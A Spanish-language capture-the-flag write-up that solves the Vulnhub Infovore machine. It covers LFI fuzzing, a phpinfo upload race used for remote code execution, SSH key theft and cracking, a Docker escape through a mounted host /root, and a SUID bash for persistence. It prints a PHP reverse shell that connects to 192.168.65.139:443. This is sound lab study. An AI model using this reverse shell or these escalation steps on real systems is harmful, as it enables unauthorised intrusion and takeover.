Home Vulnhub - Infovore
Post
Cancel

Vulnhub - Infovore

Description: This is an easy to intermediate box that shows you how you can exploit innocent looking php functions and lazy sys admins. There are 4 flags in total to be found, and you will have to think outside the box and try alternative ways to achieve your goal of capturing all flags.

Máquina Infovore


Reconocimiento

  • Identificamos el Target y escaneamos los puertos abiertos.

arp scan

  • Realizamos el escaneo de los principales scripts y versiones de nmap.

scan2

De esta manera empezaremos buscando las principales tecnologias web.

what include

Realizaremos un fuzzing, pero no tenemos éxito.

fuzz

  • Analizamos con wig

wig

Enumeración

De esta manera ingresamos a la ruta. Revisaremos por funciones deshabilitados y file_upload.

info file

Entonces verificamos que esta pagina interpretaría cualquier función en php, ademas de un posible file_uploads activado, pero para esto debemos saber donde subir el archivo.

Explotación

  • LFI2RCE Simulamos una File Upload boundary De esta manera tenemos una respuesta exitosa, donde se crea el archivo mencionado y se carga en la ruta temporal que se muestra en la Respuesta.

burp

Entonces para poder ingresar un archivo que haga un RCE, primero debemos identificar la ruta donde introducirlo.

  • Encontrar un LFI, fuzzeando parámetro Normalmente en una web, la pagina principal suele ser un recurso index. , como tecnologia usa php, entonces tendra como recurso:

index

Entonces, para aplicar un LFI , debemos encontrar aquel parámetro que nos permita buscar la ruta donde aplicar el RCE. Para ello realizamos un fuzzeo a este parámetro mencionado. Para el primer fuzzing, detectamos respuestas con 136L

fuzz2

Filtramos por ello y realizamos nuevamente el fuzzing, imaginando que deseamos acceder a /etc/passwd.

fuzz3 filename LFI

  • Script modificamos los campos.

script

1
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.65.139/443 0>&1'");?>

Cambiamos la ruta del método POST y GET . Además cambiamos los [tmp_name] , que es el resultado del Response en burpsuite.

burp2 tmp

De esta manera:

exploit exploit2

  • Ejecutamos python2.7 ![[IMAGES/Infovore/RCE.png]] RCE

Tendremos en cuenta que es un Docker, ya que no es la IP de la PC auditada. ![[IMAGES/Infovore/access.png]] access


Persistencia

  • Enumeración manual o LinPEAS

enum

Buscando elementos importantes y permisos, encontramos un archivo con un nombre que suponemos tiene keys ssh

key

  • Verificar Segmento IP
  • Comprobar port 22 expuesto

port copy permi

Nos copiamos el archivo a un archivo que tengamos permisos /tmp y verificamos que tipo de comprimido es.

1
file .olkeys.tgz

descom Tenemos 2 llaves, utilizaremos la privada.

  • Crackear key encriptada

crack

  • Reutilizamos esta passwd

root

  • Flag para root

flag

  • Escapamos del contenedor Pero como ya sabemos estamos dentro de un contenedor, por que estamos bajo un segmento de Red diferente. De esta manera si buscamos escapar de este, pero no encontramos ningún deamon de docker. Pero en la misma carpeta root, encontramos Keys ssh , en la cual vemos una conexion con un usuario admin, con un segmento de Red que pertenece a la Maquina host.

key2

Entonces nos conectamos por ssh, de igual manera aprovechamos la hash crackeada anteriormente para ingresar

port2

  • Utilizamos la imagen para desplegar una montura

flag2 docker

De esta manera utilizaremos la imagen de este Docker para crear una montura de la carpeta /root de la Maquina Host real.

mont mont2

  • Ejecutar contenedor

ejec root2 flag3

  • Asignar Suid bash Pero de igual manera, lo anterior es util para un CTF, que ta si queremos realmente acceso como root de la Maquina host?

bash

  • You are Root

root3

This post is licensed under CC BY 4.0 by the author.